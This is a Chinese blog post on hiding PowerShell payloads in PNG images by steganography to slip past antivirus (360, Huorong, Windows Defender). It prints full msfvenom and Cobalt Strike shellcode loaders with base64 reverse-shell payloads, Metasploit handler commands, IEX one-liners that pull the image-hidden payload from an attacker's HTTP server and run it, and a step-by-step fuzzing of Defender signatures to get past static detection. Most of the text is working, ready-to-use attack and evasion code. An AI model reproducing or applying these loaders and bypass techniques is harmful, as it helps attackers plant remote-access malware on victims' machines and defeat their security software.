RGB图片隐写术免杀

 微信公众号:乌鸦安全

 

扫取二维码获取更多信息!

1. 前言

目前杀软比较厉害,如果直接运行exe的话,相对来说免杀难度大一点(但也不绝对),尤其是某些厂商,针对一些打包exe的工具进行无脑杀,所以这里和大家一起学习一种新的文件分离免杀方法。

这里面主要用到的是PNG图片的LSB隐写术,具体的方式可以参考https://xz.aliyun.com/t/1882

简单总结下就是,shell被写到PNG的像素信息里面,再加载的时候,读取对应像素位的信息(当然,实现原理比这更复杂)

项目地址:https://github.com/peewpw/Invoke-PSImage

2. 准备环境

Windows server 2019 x64: 运行powershell,将木马写入图片中  

Windows 10 x64 : 运行图片马  

对应ip地址:10.211.55.3

反弹shell机器:Mac (安装了msf,这也可以选择kali)

对应ip地址:10.211.55.2

cs上线机器:Mac下的cs

对应ip地址:10.211.55.2

杀软:360火绒Windows Defendervirustotal(其实根据原理来讲,图片马可以过任何的杀软)

先将Invoke-PSImage的代码下载到本地

3. msfvenom下msf上线方法

查看攻击机ip地址:

因为我本地使用了两个不同的虚拟机pdvm,所以这里的ip显示很多,但是都可以用,这里就使用最常用的10.211.55.2

然后在本地运行msfvenom

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.211.55.2 LPORT=4444 -f psh-reflection > msf-crow.ps1

此时的shell肯定是谁见谁杀

Windows Deferder:kill

但是360没杀(这里使用的是360的云杀毒

火绒也没杀

先看下文件内容:

function x_Dh {
  Param ($tTXv, $geeTu)    
  $acCqN = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

  return $acCqN.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($acCqN.GetMethod('GetModuleHandle')).Invoke($null, @($tTXv)))), $geeTu))
}

function p6kED {
  Param (
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $fE,
    [Parameter(Position = 1)] [Type] $mk46 = [Void]
  )

  $eTIg = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
  $eTIg.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $fE).SetImplementationFlags('Runtime, Managed')
  $eTIg.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $mk46, $fE).SetImplementationFlags('Runtime, Managed')

  return $eTIg.CreateType()
}

[Byte[]]$lflQd = [System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUE0xyUgPt0pKSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lNMclBizSISAHWSDHAQcHJDaxBAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS11IMdtTSb53aW5pbmV0AEFWSInhScfCTHcmB//VU1NIieFTWk0xwE0xyVNTSbo6VnmnAAAAAP/V6AwAAAAxMC4yMTEuNTUuMgBaSInBScfAXBEAAE0xyVNTagNTSbpXiZ/GAAAAAP/V6DcAAAAvcUhuRUgzTS1aZ1Z5ekhQT0VuOFh4QXNKOW5VMGgtdTlqX2VuTmR5MGxsOGRZU2lycGRTWXAASInBU1pBWE0xyVNIuAAyqIQAAAAAUFNTScfC61UuO//VSInGagpfSInxah9aUmiAMwAASYngagRBWUm6dUaehgAAAAD/1U0xwFNaSInxTTHJTTHJU1NJx8ItBhh7/9WFwHUfSMfBiBMAAEm6RPA14AAAAAD/1Uj/z3QC66roVQAAAFNZakBaSYnRweIQScfAABAAAEm6WKRT5QAAAAD/1UiTU1NIiedIifFIidpJx8AAIAAASYn5SboSloniAAAAAP/VSIPEIIXAdLJmiwdIAcOFwHXSWMNYagBZScfC8LWiVv/V")

$b1mh = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((x_Dh kernel32.dll VirtualAlloc), (p6kED @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $lflQd.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($lflQd, 0, $b1mh, $lflQd.length)

$qmq = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((x_Dh kernel32.dll CreateThread), (p6kED @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$b1mh,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((x_Dh kernel32.dll WaitForSingleObject), (p6kED @([IntPtr], [Int32]))).Invoke($qmq,0xffffffff) | Out-Null

既然此时不杀,那我们直接运行下试试看?

在mac上开启msf

use exploit/multi/handlerset payload windows/x64/meterpreter/reverse_httpsset LHOST 10.211.55.2set LPORT 4444

360环境下直接运行

PowerShell.exe -ExecutionPolicy Bypass -File .\msf-crow.ps1

这里是在cmd命令行下执行PowerShell命令的

-ExecutionPolicy Bypass:绕过执行安全策略,在默认情况下,PowerShell的安全策略规定了PowerShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则。在渗透测试中,基本每一次运行PowerShell脚本时都要使用这个参数。

参考:

https://blog.csdn.net/Eastmount/article/details/115503946

然后

然后

然后就直接上线了。。。。

这也太尴尬了。。。

继续

同样的,在Windows server2019中进行测试,这里使用杀软 火绒(因为Windows Defender直接kill了脚本,所以在这里仅做这过静态杀软的测试)

开启监听:

直接运行PowerShell.exe -ExecutionPolicy Bypass -File .\msf-crow.ps1

上线正常

因此在此可以进行如下总结:

msfvenom最新版(2021-05-28安装)生成powershell攻击脚本在静态下的查杀效果:

火绒

360

Windows Defender

windows 10 64位

未测

✔️

未测

windows server 2019 64位

✔️

未测

ps:以上环境都联网状态下

同样

msfvenom最新版(2021-05-28安装)生成powershell攻击脚本在动态执行上线的查杀效果:

火绒

360

Windows Defender

windows 10 64位

未测

✔️

未测

windows server 2019 64位

✔️

未测

ps:以上环境都联网,且均在cmd中执行-ExecutionPolicy Bypass来绕过执行安全策略进行上线。

上传微步评估:

https://s.threatbook.cn/report/file/f3b242243465981cf497226996f23bce241f2a5c3b71e9babb4c8262a32d7a65/?env=win10_1903_enx64_office2016

上传virustotal评估:

https://www.virustotal.com/gui/file/f3b242243465981cf497226996f23bce241f2a5c3b71e9babb4c8262a32d7a65/detectio

但是但是,笔者在测试CS上线的时候发现360云查杀报毒,而且是上传几分钟之后开始的,所以这里过了大概半小时左右重新进行了测试,结果发现

那再去试试火绒

火绒依旧没发现,不过样本被Windows Deferder杀了

所以在这里重新更新下:

msfvenom最新版(2021-05-28安装)生成powershell攻击脚本在静态下的查杀效果:

火绒

360

Windows Defender

windows 10 64位

未测

未测

windows server 2019 64位

✔️

未测

ps:以上环境都联网状态下,且360属于主动联网云杀毒,并不是按位置扫描

同样

msfvenom最新版(2021-05-28安装)生成powershell攻击脚本在动态执行上线的查杀效果:

火绒

360

Windows Defender

windows 10 64位

未测

未测

windows server 2019 64位

✔️

未测

ps:以上环境都联网,且均在cmd中执行-ExecutionPolicy Bypass来绕过执行安全策略进行上线。

所以,这里火绒容易被欺负。

4.  Cobal Strike上线方法

这里为了安全,防止自己的vps被安全厂商标记,这里的Cobal Strike服务端设置在本地,笔者Cobal Strike版本为4.0

命令:sudo ./teamserver 10.211.55.2  50049

打开客户端,生成后门

文件内容如下:

Set-StrictMode -Version 2

function func_get_proc_address {
  Param ($var_module, $var_procedure)    
  $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
  $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
  return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

function func_get_delegate_type {
  Param (
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
    [Parameter(Position = 1)] [Type] $var_return_type = [Void]
  )

  $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
  $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
  $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

  return $var_type_builder.CreateType()
}

If ([IntPtr]::size -eq 8) {
  [Byte[]]$var_code = [System.Convert]::FromBase64String('32ugx9PL6yMjI2JyYnNxcnVrEvFGa6hxQ2uocTtrqHEDa6hRc2sslGlpbhLqaxLjjx9CXyEPA2Li6i5iIuLBznFicmuocQOoYR9rIvNFols7KCFWUaijqyMjI2um41dEayLzc6hrO2eoYwNqIvPAdWvc6mKoF6trIvVuEuprEuOPYuLqLmIi4hvDVtJvIG8HK2Ya8lb7e2eoYwdqIvNFYqgva2eoYz9qIvNiqCerayLzYntie316eWJ7YnpieWugzwNicdzDe2J6eWuoMcps3Nzcfkkjap1USk1KTUZXI2J1aqrFb6rSYplvVAUk3PZrEuprEvFuEuNuEupic2JzYpkZdVqE3PbIUHlrquJimwIgIyNuEupicmJySSBicmKZdKq85dz2yHp4a6riaxLxaqr7bhLqcUsjIWOncXFimch2DRjc9muq5Wug4HNJKXxrqtJrqvlq5OPc3NzcbhLqcXFimQ4lO1jc9qbjLKa+IiMja9zsLKevIiMjyPDKxyIjI8uB3NzcDGBMdXYjFmwCcwZjYnN4F39zeXsWFwtzfQoUYGAKFF4HZmpgYnEOcHdibWdicWcOYm13anVqcXZwDndmcHcOZWpvZgIHawhrCSMWbAJzBiN2UEZRDmJERk1XGQNuTFlKT09CDBYNEwMLQExOU0JXSkFPRhgDbnBqZgMaDRMYA3RKTUdMVFADbXcDFQ0SGAN0bHQVFxgDd1FKR0ZNVwwWDRMYA21zExUKLikjFmwCcwZjYnN4F39zeXsWFwtzfQoUYGAKFF4HZmpgYnEOcHdibWdicWcOYm13anVqcXZwDndmcHcOZWpvZgIHawhrCSMWbAJzBmNic3gXf3N5exYXC3N9ChRgYAoUXgdmamBicQ5wd2JtZ2JxZw5ibXdqdWpxdnAOd2Zwdw5lam9mAgdrCGsJIxZsAnMGY2JzeBd/c3l7FhcLc30KFGBgChReB2ZqYGJxDnB3Ym1nYnFnDmJtd2p1anF2cA53ZnB3DmVqb2YCB2sIawkjFmwCcwZjYnMjYp3TloF13PZrEuqZIyNjI2KbIzMjI2KaYyMjI2KZe4dwxtz2a7BwcGuqxGuq0muq+WKbIwMjI2qq2mKZMbWqwdz2a6DnA6bjV5VFqCRrIuCm41b0e3t7ayYjIyMjc+DLvN7c3BITDRESEg0WFg0RIyMjIyM=')

  for ($x = 0; $x -lt $var_code.Count; $x++) {
    $var_code[$x] = $var_code[$x] -bxor 35
  }

  $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
  $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
  [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

  $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
  $var_runme.Invoke([IntPtr]::Zero)
}

360查杀,正常

火绒查杀,报毒(这不一定是好事,这样攻击者可以通过fuzz的方式绕过)

Windows Defender查杀,刚复制过来就删掉了!

走到现在的只有360了,那继续

PowerShell.exe -ExecutionPolicy Bypass -File .\payload.ps1

上线成功,甚至还执行了一个命令

但是

这里可以看到,上线之后就直接掉线了,last时间不断增加,可能是由于杀软存在的原因,笔者在以前测试python免杀的时候,也遇到这种情况,当时的方法是再执行一次刚刚的命令即可上线成功

但是,戏剧性的一幕来啦

此时360开始杀毒,那如果将文件再次复制进行不执行,使用静态测试呢?

360出手了,笔者怀疑应该是云查杀上传之后分析为木马病毒,也或者是执行的时候触碰了某个特征(只是笔者简单怀疑,不一定准确)。

而且据说,360在虚拟机和实体机的表现好像有差异。

因此在此可以进行如下总结:

Cobal Strike 4.0版本生成powershell攻击脚本在静态下的查杀效果:

火绒

360

Windows Defender

windows 10 64位

未测

未测

windows server 2019 64位

未测

ps:以上环境都联网状态下

同样

Cobal Strike 4.0版本生成powershell攻击脚本在动态执行上线的查杀效果:

火绒

360

Windows Defender

windows 10 64位

未测

未测

windows server 2019 64位

未测

ps:因为静态环境下全挂,所以动态就直接写结果

上传微步评估:

https://s.threatbook.cn/report/file/130d331957f3fd881c4c4c472d6a5451556726e56efe943aa55bcd7f31fe5b9f/?env=win7_sp1_enx64_office2013

上传virustotal评估:

https://www.virustotal.com/gui/file/130d331957f3fd881c4c4c472d6a5451556726e56efe943aa55bcd7f31fe5b9f/detection

总结下:这里CS4.0生成的powershell木马,全挂

5 RGB图片隐写术——msf上线

这里使用上面生成的两个Powershell木马文件,来做

这里需要先准备一张图:1.jpg

首先进行如下操作:

Set-ExecutionPolicy Unrestricted -Scope CurrentUser

主要是防止生成木马期间报错

Import-Module .\Invoke-PSImage.ps1

导入Invoke-PSImage文件,执行如下语句:

Invoke-PSImage -Script .\msf-crow.ps1 -Image .\1.jpg -Out msf-crow.png -Web > 1.txt

这里解释下:

  • -Script为要转化为图片马的powershell脚本,我这里是msf-crow.ps1

  • -Image是一张正常的图片

  • —Out生成的图片马,注意这里图片格式为PNG

  • ——web将读取的命令显示出来

  • >1.txt将读取的命令放到1.txt里面去,方便到时候修改复制(当然这个命令也可以不加,但是不加的话,不好复制)

注意:如果你这里使用type键进行自动补全的时候,小心这里要加载的是 Invoke-PSImage函数,而不是 Invoke-PSImage.ps1脚本

这个生成的结果如下:

免杀图片马msf-crow.png

Web命令:

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://example.com/msf-crow.png"));$o=a Byte[] 3360;(0..6)|%{foreach($x in(0..479)){$p=$g.GetPixel($x,$_);$o[$_*480+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..2979]))

这里的http://example.com/msf-crow.png

要将地址换成你的vps

这里我就在mac上开启一个HTTP服务

python3 -m http.server 5555

这个ip地址就是10.211.55.2:5555

拼凑的命令如下:

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://10.211.55.2:5555/msf-crow.png"));$o=a Byte[] 3360;(0..6)|%{foreach($x in(0..479)){$p=$g.GetPixel($x,$_);$o[$_*480+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..2979]))

msf开启监听模式:

然后在各种环境下进行静态查杀测试:

360

静态查杀,正常

火绒查杀正常

windows defender也正常,其实静态条件下,任何杀软都会显示正常(除非该图片的md5值已经被杀软标记)

动态上线测试

360下直接在powershell下运行

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://10.211.55.2:5555/msf-crow.png"));$o=a Byte[] 3360;(0..6)|%{foreach($x in(0..479)){$p=$g.GetPixel($x,$_);$o[$_*480+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..2979]))

上线成功

火绒 + Windows Defender下运行

无法执行成功

其实这里火绒上线也会成功,只是这里没有进行测试。

此时将Windows 10上的360关闭,使用Windows Defender来测试

上线失败

文件在微步在线评估:

https://s.threatbook.cn/report/file/9310faf03d4833b25d250c0783c6e65b1bcc34bc417cd6698f5cedb3d0b60e68/?env=win7_sp1_enx86_office2013

文件在virustotal上的评估如下:

分析:

这里应该是可以绕过国内所有杀软,但是绕不过Windows Defender,主要的原因不在于图片马,而在于powershell执行的一句话,我们将一句话上传到virustotal来试试https://www.virustotal.com/gui/file/8e2c23626767de537d9bc1f02cd0c5e6bb7b72ea97f3fac4f08eeda3e531c29d/detection

这里进行总结:

图片马静态

火绒

360

Windows Defender

windows 10 64位

未测

✔️

未测

windows server 2019 64位

✔️

未测

✔️

ps:以上环境都联网状态下

同样

图片马在动态执行上线的查杀效果

火绒

360

Windows Defender

windows 10 64位

未测

✔️

windows server 2019 64位

✔️

未测

之所以图片马在执行上线的时候被Windows Defender拦截,应该是里面某些关键字被查杀,因此这里对该命令放到Windows Defender里面进行查杀

文件被删除,那这里就需要绕过Windows df了。

至于cs,其实是一样的,在这里就不就行测试了。

6. 失败的ypass windows Defender

其实这种图片马可以直接上传本地进行测试,最好不要远程加载,笔者使用Invoke-PSImage生成一个本地图片加载的木马来执行

Import-Module .\Invoke-PSImage.ps1

导入Invoke-PSImage文件,执行如下语句:

Invoke-PSImage -Script .\msf-crow.ps1 -Image .\1.jpg -Out crow_local.png > 3.txt

3.txt文件内容如下:

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap("C:\0_poweshell\Invoke-PSImage-master\crow_local.png");$o=a Byte[] 3360;(0..6)|%{foreach($x in(0..479)){$p=$g.GetPixel($x,$_);$o[$_*480+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..2979]))

在这里就先测试下360火绒

360下

mac下开启监听:

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap("C:\0_poweshell\Invoke-PSImage-master\crow_local.png");$o=a Byte[] 3360;(0..6)|%{foreach($x in(0..479)){$p=$g.GetPixel($x,$_);$o[$_*480+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..2979]))

360下上线正常

火绒:

路径:

C:\Users\crow\Desktop\Invoke-PSImage-master

构造:

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap("C:\Users\crow\Desktop\Invoke-PSImage-master\crow_local.png");$o=a Byte[] 3360;(0..6)|%{foreach($x in(0..479)){$p=$g.GetPixel($x,$_);$o[$_*480+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..2979]))

开启Windows Defender,这里最好关闭自动提交样本

上线测试:

失败

这里将一句话整理为txt文件,直接复制到Windows Defender

直接被杀

笔者将文件用;进行换行,并将文件修改后复制到有Windows Defender的操作系统里。

现在开始fuzz关键字:

关键字:

sal a New-Object;

此时正常。

关键字:

sal a New-Object;Add-Type -A System.Drawing;

正常

关键字:

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap("C:\0_poweshell\Invoke-PSImage-master\2.png");

正常

关键字:

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap("C:\0_poweshell\Invoke-PSImage-master\2.png");$o=a Byte[] 3360;(0..6)|%{foreach($x in(0..479)){$p=$g.GetPixel($x,$_);

依旧正常

关键字:​​​​​​​

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap("C:\0_poweshell\Invoke-PSImage-master\2.png");$o=a Byte[] 3360;(0..6)|%{foreach($x in(0..479)){$p=$g.GetPixel($x,$_);$o[$_*480+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};

它来了,被杀

也就是说

$o[$_*480+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};

触发了wdf的查杀

继续

测试最后一句话:

​​​​​​​

$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..2979]))

正常

那再测试下除了$o[$_*480+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};这句之外的其他:

​​​​​​​

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap("C:\0_poweshell\Invoke-PSImage-master\2.png");$o=a Byte[] 3360;(0..6)|%{foreach($x in(0..479)){$p=$g.GetPixel($x,$_);
$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..2979]))

正常

那在测试下单独的那句话

$o[$_*480+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};

正常

分析到这发现,各种单独的一句话都是可以的,但是就不可以连在一起,那确定下哪一句不可以连在一起呢?

经过fuzz发现​​​​​​​

$o=a Byte[] 3360;(0..6)|%{foreach($x in(0..479)){$p=$g.GetPixel($x,$_);$o[$_*480+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};

不能连在一起,其他的情况都是允许他们单独存在的,那继续fuzz关键字,看下问题在哪

经过多次fuzz发现,

sal a New-Object;
Add-Type -A System.Drawing;
$g=a System.Drawing.Bitmap("C:\0_poweshell\Invoke-PSImage-master\2.png");
$o=a Byte[] 3360;(0..6)|%{foreach($x in(0..479)){$p=$g.GetPixel($x,$_);

$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..2979]))

win df$o纳入了黑名单策略(大概是这个位置)

这里进行替换,再上传

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap("C:\0_poweshell\Invoke-PSImage-master\2.png");$c=a Byte[] 3360;(0..6)|%{foreach($x in(0..479)){$p=$g.GetPixel($x,$_);$c[$_*480+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($c[0..2979]))

没有报毒,但是被预警

执行,依旧被拦截

此时静态过了,但是动态依旧不行。

因为时间不足,后续有机会会对Windows Defender进行单独测试。

7. 总结

在这次免杀测试中,Windows Defender表现最强,360和火绒次之,笔者并没有对其他的国内杀软进行测试,但依照以往经验来看,国内杀软中(个人pc免费版)最强的应该是360,如果360被bypass,基本上其他杀软也就gg(当然,这里只是笔者单方面的愚蠢想法),但在实际中表现确实是这样的,另外360的云查杀很强。

在以往的前辈的实验中,笔者发现图片隐写法是可以绕过Windows Defender的,而这次Windows Defender没有绕过,只是绕过了静态查杀,而Invoke-Obfuscation这个工具也可以多种条件下绕过Windows Defender的静态查杀,而且在火绒360下动态上线。后续的研究重点也会在地表最强之一的Windows Defender上进行展开测试,绕过只是一个时间问题,敬请期待!

参考资料:

https://xz.aliyun.com/t/1882

https://www.yuque.com/swteam/sw/gcf9nd

 微信公众号:乌鸦安全

 

扫取二维码获取更多信息!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值